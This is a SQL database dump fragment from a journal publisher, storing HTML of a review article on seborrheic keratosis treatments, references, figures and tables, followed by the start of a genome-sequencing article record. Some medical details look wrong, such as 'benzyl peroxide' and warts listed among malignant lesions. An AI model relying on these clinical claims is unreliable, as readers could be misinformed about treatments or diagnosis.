numerous applications with freezing and thawing of cells. Minimal probability of infection, efficacious applicability and miniscule scarringaptly enumerates the advantages of cryosurgery. Oedema, erythema, diffuse or localized scarring and hypo-pigmentation within the sensitive regions ensues. Lesions adjacent to eyes and individuals with post inflammatory hyper-pigmentation prove to be contra-indications for cryosurgery. Ambiguous lesions which are susceptive of malignancy such as malignant melanoma, basal cell carcinoma and squamous cell carcinoma require an abstinence from techniques of freezing [3]. More than half (60%) the individuals opt for cryotherapy rather than curettage for eliminating the lesions, even though lesions treated with cryotherapy enunciate residual manifestations [24,25].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Focal Curettage of the lesions is performed efficaciously without anaesthesia. Minimal haemorrhage and healing occur with absence of scarring. Surgical elimination: A shave and/or biopsy of the lesion abets the preservation of tissue with histological elucidation of seborrheic keratosis. A well demarcated lesion, diagnostic of seborrheic keratosis does not benefit from a histological assessment, which can be deferred. Site, thickness and multiplicity of lesions dictates optimal therapeutic option [2,3]. Electro-surgery: Employment of electro-surgery with coagulation of lesions by electro-dessication or electro-cautery decimates miniature lesions with heat or cold point diathermy. Electro-dessication necessitates abutment of a Radio-Frequency (RF) electrode with the skin. Electro-fulgration damages superficial lesions with induction of &ldquo;sparking &ldquo;. Electro-cautery employs a red hot filamentto eradicate the lesions. Electro-surgery is the optimal modality for managing lesions of dermatosis papulosanigra.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Laser Therapy: Ablative (carbon dioxideor erbium- YAG) and non-ablative (755 nm alexandrite and 532 nm diode) formulations of laser are efficacious for eradicating seborrheic keratosis, though the outcome is inconsistent. As the therapy is devoid of guidelines, individual clinicians decide upon the intensity and duration of applicable laser therapy. Non-invasive treatment with Intense Pulsed Light (IPL) for seborrheic keratosis demonstrates a &ldquo;disappearance&rdquo; of lesions with afavourable outcome, particularly with miniature, superficial or thin lesions (an average of two cycles induces a de-pigmentation) and lack of secondary scarring or erythema [2,3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Topical Agents: Contemporary novel, non-invasive topical applications or formulations which eradicate seborrheic keratosis with an absence of scarring, dys-pigmentation or infections are efficacious and effort lessly procured. A variety of topical options are available through the efficacy of many is questionable. Topical keratolytics are utilized for treating seborrheic keratosis. Formulation of Tazorotene (0.1%) localizes and adheres to retinoic acid receptors (beta and gamma) with consequent decline in proliferation of seborrheic keratosis cells along with reduction of inflammatory bio-markers. Tazarotene (0.1% cream twice daily) successfully disintegrate the lesions within two weeks [2,3]. Analogues of vitamin D elucidate functional effectiveness against seborrheic keratosis. Vitamin D receptors (VDR) modify differentiation and proliferation of keratinocytic cells. A hyper-proliferative reaction is elucidated within the epidermis with deficiency of vitamin D receptors. Therapeutic interference with vitamin D ligand reverts the aforementioned outcome and reduces cellular proliferation [24,25].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">An estimated one third (30.2%) individuals demonstrate the decimation of an entire lesion or roughly 80% reduction of disease volume. Approximately half (46.4%) the instances depict a decline in the disease burden be twixt 40%-80%by adopting vitamin D analogues. The lesions can reoccur. Concentration of urea (50%) provides an adjunctive treatment option. Urea molecules function as a keratolytic and disturb the non-covalent cellular interaction, partially disrupt the proteinaceous matrix and remove superficial layer of seborrheic keratosis lesions. Subsequent scraping of lesions ensures appropriate cosmetic outcomes [23,25].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Benzyl peroxide isemployed in combination with a tertiary amine. The amalgamation configures the radicals of benzyl peroxide. Evaluation of results achieved with efficacious, topical treatment is currently insufficient. Lesions of seborhheic keratosis exceeding 2 centimetres in diameter and 0.3 centimetre in thickness are managed with a local, daily application of benzyl peroxide along with topical terbanafine (comprising of a tertiary amine). A declining magnitude of up to 50% within lesions of seborrheic keratosis is elucidated [2,3]. Topical concentration of hydrogen peroxide is employed as a contemporary therapeutic modality. Hydrogen peroxide (H<sub>2</sub>O<sub>2</sub>) engenders highly reactive oxygen species. Localized application of intensely concentrated molecules necessitates a careful monitoring. Reactive Oxygen Species (ROS) generated ensures a direct deterioration and termination of cells with apoptosis and necrosis of mutated squamoid cells of seborrheic keratosis. As the reactive oxygen species (ROS) additionally disrupts uninvolved cells, minimal injury is anticipated for healthy, normal skin circumscribing atypical lesions. Concentration of hydrogen peroxide (H<sub>2</sub>0<sub>2</sub>) frequently employed is at 3% and 30%. Topical application of concentrated hydrogen peroxide (H<sub>2</sub>0<sub>2</sub>) induces an irreparable dermal disruption. Concentrated liquid hydrogen peroxide (H<sub>2</sub>0<sub>2</sub>) is not a popular contemporary option [2,3]. An agent which has an approval from the foods and drug administration (FDA) is &ldquo;Eskata&rdquo; essentially constituted of a 40% formulation of hydrogen peroxide. The topical ointment is cogent in treating raised lesions of seborrheic keratosis.Conspicuous lesions of face and neck cogitate an adequate cosmetic outcome. Complications accompanying local administration include swelling of the lesion, stinging, itching, crusting, redness and scaling at the site of application. Topical treatment with solution A101 which is a 40% concentration of hydrogen peroxide (H<sub>2</sub>O<sub>2</sub>) exhibits an estimated lesion clearance with half (51.3%) the patients, particularly with the face, extremities and trunk. Facial seborrheic keratosis treated with A101 (40% hydrogen peroxide) depicts aclearance of roughly two thirds (65.3%) of the lesions. Adverse reactions such as hypo-pigmentation, hyper-pigmentation and scarring is minimal [3].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Topical formulation of potassium do besilate (5% cream) prohibits the activity of dermal fibroblast growth factor receptor 3 (FGFR3) in order to arrest the progression of seborrheic keratosis. Topical ointment of potassium dobesilate is beneficial in facial lesions. Side effects such as a reaction on the application site, skin atrophy, de-pigmentation or skin thinning are absent. The ointment is advantageous for application in cosmetically sensitive regions [3]. Non-Steroidal Anti-Inflammatory Drug (NSAID) such as a diclofenac gel as 3% concentration iseffective in removing the lesions. BL 5010 as a combination of aqueous tricholoacetic acid and formic acid can be employed. The topical formulation is applied with a pen like device in order to eradicate the lesions [3]. Formulations such as calcipotriene (0.005%) ointment and imiquimod (5%) cream do not provide suitable clinical improvement. Early in vitro trials of agents which inhibit the Akt such as A443654 and GSK 690693 are promising. Lesions treated with A443654 are extensively eradicated [7,8].</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>References</strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28272654\">Chander RV, Jajaganesh P, Sekhar G, Chitra S (2018) Multiple Pigmented Seborrheic Keratosis with Sebaceous Differentiation- A case report. Turk Patoloji Derg 34: 108-111.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://benthamopen.com/ABSTRACT/TODJ-12-86\">Gaishauser K, Burkhart CG (2018) Re-examination of Treatment of Seborrheic Keratosis Given Availability of New Prescription Therapy with Hydrogen Peroxide. The Open Dermatology Journal 12: 86-89.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.globalacademycme.com/cme/dermatology-skin-disease-education-foundation/update-seborrheic-keratosis-optimizing-patient/update-seborrheic-keratosis-optimizing-patient/page/0/1\">Berman B, Zachary CB (2017) Update on Seborrheic Keratosis-Optimizing patient outcomes. Dermatology News.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Abdel Aal MAM, Mohamed El Shahed AR, Fawzy MM (2018) Epidemiological studies of Seborrheic Keratosis among Egyptians in Great Cairo. The Egyptian Journal of Hospital Medicine 72: 4378-4381.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26461823\">Jackson JM, Alexis A, Berman B, Berson DS, Taylor S, et al. (2015) Current understanding of seborrheic keratosis prevalence, aetiology, clinical presentation, diagnosis and management. J Drugs Dermatol 14: 1119-1125.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26812275\">Squillace L, Cappello M, Longo C, Moscarella E, Alfano R, et al. (2016) Unusual dermascopic pattern of seborrheic keratosis. Dermatology 232: 198-202.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26739095\">Neel VA, Todorova K, Wang J, Kwon E, Kang M, et al. (2016) Sustained Akt activity is required to maintain cell viability in seborrheic keratosis, a benign epithelial tumour. J Invest Dermatol 136: 696-705.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 1 Courtesy: Dermpedia.com.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 2 Courtesy: Internet Scientific Publications.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 3 Courtesy: Dx path.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 4 Courtesy: Libre.path.com.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 5 Courtesy: Vivo sight.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 6 Courtesy: Flickr.com.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image7 Courtesy: Dermatology advisor.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 8 Courtesy: Pinterest.com.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 9 Courtesy: Wikiwand.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image10 Courtesy: Journal of Oral and Maxillofacial Pathology.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 11 Courtesy: Pathology Apps.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Image 12 Courtesy: Science source.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23643233\">Walter FM, Prevost AT, Vasconcelos J, Hall PN, Burrows NP, et al. (2013) Using the 7-point check list as a diagnostic aid for pigmented skin lesions in general practice: a diagnostic validation study. Br J Gen Pract 63: e345-e353.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28355453\">Carrera C, Segura S, Aguilera P, Scalvenzi M, Longo C, et al. (2017) Dermascopic clues for diagnosing melanomas that resemble seborrheic keratosis. JAMA Dermatol 153: 544-551.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28515987\">Patel P, Khanna S, McLellan B, Krishnamurthy K (2017) The need for increased dermoscopy training in residency: a survey of US dermatology residents and programme directors. Dermatol Pract Concept 7: 17-22.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5424662/\">Rogers T, Marino M, Dusza SW, Bajaj S, Marchetti MA, et al. (2017) Triage amalgamated dermoscope algorithm (TADA) for skin cancer screening. Dermatol Pract Concept 7: 39-46.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://jddonline.com/articles/dermatology/S1545961617P0419X/1\">Taylor SC (2017) Advancing the understanding of Seborrheic Keratosis. J Drugs Dermatol 16: 419-424.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Levy- Nissenbaum E, Thio HB (2015) Seborrheic Keratosis removal in a multicentre phase I/II trial using a novel topical formulation (BL -5010). Br J Dermatol 173: 247-249.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23267371\">Rajabi P, Adibi N, Nematollahi P, Heidarpour M, Eftekhari M, et al. (2012) Bowenoid transformation in Seborrheic Keratosis: a retrospective analysis of 429 patients. J Res Med Sci 17: 217-221.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/167fe1666.jpg\" style=\"height:375px; width:500px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> SK-clonal variant with plate like evolution [8].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1685ca9f9.jpg\" style=\"height:389px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> SK acanthotic variant with squamous cell prominence [9].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/169691d38.jpg\" style=\"height:379px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> SK inflamed variant with infiltrated inflammatory cells within squamous cell nests [10].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1702abc29.jpg\" style=\"height:377px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> SK: keratincysts, pseudo-cysts and craters [11].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/17109a6b7.jpg\" style=\"height:260px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5:</strong> SK clonal pattern with reticulated squamou saggregates [12].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/17227ee19.jpg\" style=\"height:377px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 6:</strong> SK: Inflammatory ingress with keratin andcellular whorls [13].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/173e8d845.gif\" style=\"height:375px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 7:</strong> SK invertedfollicular keratosis: with acanthotic squamous epithelium [14].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/174b12e52.png\" style=\"height:238px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 8:</strong> SK: acanthosis with a verrucous surface and hyperkeratosis [15].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/17589acc4.jpg\" style=\"height:377px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 9:</strong> SK: Horn cysts with verrucous papillomatosis and hyper-orthokeratosis [16].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/176395a73.jpg\" style=\"height:376px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 10:</strong> SK: Branching strands of basaloid and squamous cells [17].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/177926c71.jpg\" style=\"height:374px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 11:</strong> SK: Acanthosishorn cysts andpseudo-horn cysts with orthokeratosis [18].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1784d4efd.jpg\" style=\"height:267px; width:500px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 12:</strong> SK: Squamous papillomatosis with hyperkeratosis and parakeratosis [19].</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Bajaji A (2019) Senescence, Keratinisation, Latency: Seborrheic Keratosis. Ann Med &amp; Surg Case Rep: AMSCR: 100002</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:132.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Category of Skin</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:133.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Classical manifestations</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:133.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Tanning Ability</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">I</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pale white skin, Blue/ green eyes, Blond /red hair</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Always burns. Does not tan</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">II</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fair skin, blue eyes</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Burns easily, tans minimally</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">III</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Darker white skin</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tans after initial burn</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">IV</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Light brown skin</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Burns minimally, tans easily</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">V</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Brown skin</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Rarely burns, tans darkly easily</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:132.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">VI</span></p>\r\n			</td>\r\n			<td style=\"width:133.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dark brown or black skin</span></p>\r\n			</td>\r\n			<td style=\"width:133.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Never burns, always tans darkly</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Fitzpatrick&rsquo;s Photo-types of the Skin [3].</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Malignant or Perpetual Lesions</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Benign Lesions</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Actinic keratosis</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acrochordon ( skin tags)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Bowen&rsquo;s disease(SCC in situ)</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Acrokeratosisverruciformis</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Invasive SCC( SCC in situ)</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Benign lichenoid keratosis</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lentigomaligna</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Condylomataacuminatum</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Malignant melanoma</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ecrineporoma/ hidroacanthoma simplex</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pigmented basal cells</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Melanocytic nevus</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Verruca vulgaris(warts)</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Solar lentigo(liver spots)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:188.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infundibulocystic basal cell carcinoma ( IFC-BCC)</span></p>\r\n			</td>\r\n			<td style=\"width:187.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tumour of the infundibulum</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:376.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">SCC: Sqaumous cell carcinoma.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2: </strong>Differential Diagnosis of Seborrheic Keratosis [3].</span></span></p>\r\n</div>\r\n</div>\r\n','1552294529.pdf','','1552294529.jpg','',0,1,'2019-03-11 14:25:28','2019-03-11 15:16:24',1);
insert  into `journal_article_in_press`(`a_id`,`journal_id`,`journal_cat_id`,`year_of_article`,`title`,`author_name`,`article_type`,`url`,`seo_title`,`seo_keyword`,`seo_description`,`research_article`,`abstract`,`introduction`,`references`,`figures`,`suggested_citation`,`tables`,`pdf_file`,`excel_file`,`image`,`video`,`video_article`,`status`,`create_at`,`update_at`,`create_by`) values (44,23,'20','2019','Complete Genome Sequence of Agrobacterium sp. ATCC 31749 and Insights into its Curdlan Biosynthesis','Anane RF1#, Lin C1,2#, Sun H1, Zhao L1, Liu Z1 and Mao Z1,2*','Research Article','Complete-Genome-Sequence-of-Agrobacterium-sp-ATCC-31749-and-Insights-into-its-Curdlan-Biosynthesis','Complete-Genome-Sequence-of-Agrobacterium-sp-ATCC-31749-and Insights into its Curdlan-Biosynthesis','Complete Genome Sequence-of Agrobacterium-sp-ATCC-31749-and-Insights-into-its-Curdlan-Biosynthesis','Complete Genome Sequence of Agrobacterium sp. ATCC 31749 and Insights into its Curdlan Biosynthesis','<p style=\"text-align:center\"><span style=\"color:#000000\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Trends in Genetics and Microbiology</strong></span></span></span></p>\r\n\r\n<h1 style=\"text-align:center\"><span style=\"color:#000080\"><strong><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\">Complete Genome Sequence of <em>Agrobacterium</em> sp. ATCC 31749 and Insights into its Curdlan Biosynthesis</span></span></strong></span></h1>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Anane RF<sup>1#</sup>, Lin C<sup>1,2#</sup>, Sun H<sup>1</sup>, Zhao L<sup>1</sup>, Liu Z<sup>1</sup> and Mao Z<sup>1,2</sup><sup>*</sup></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>#</sup>These authors equally contributed to the study</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Biochemistry, Physiology and Biotechnology, Yunnan Agricultural University, Kunming, China</span></p>\r\n\r\n<p 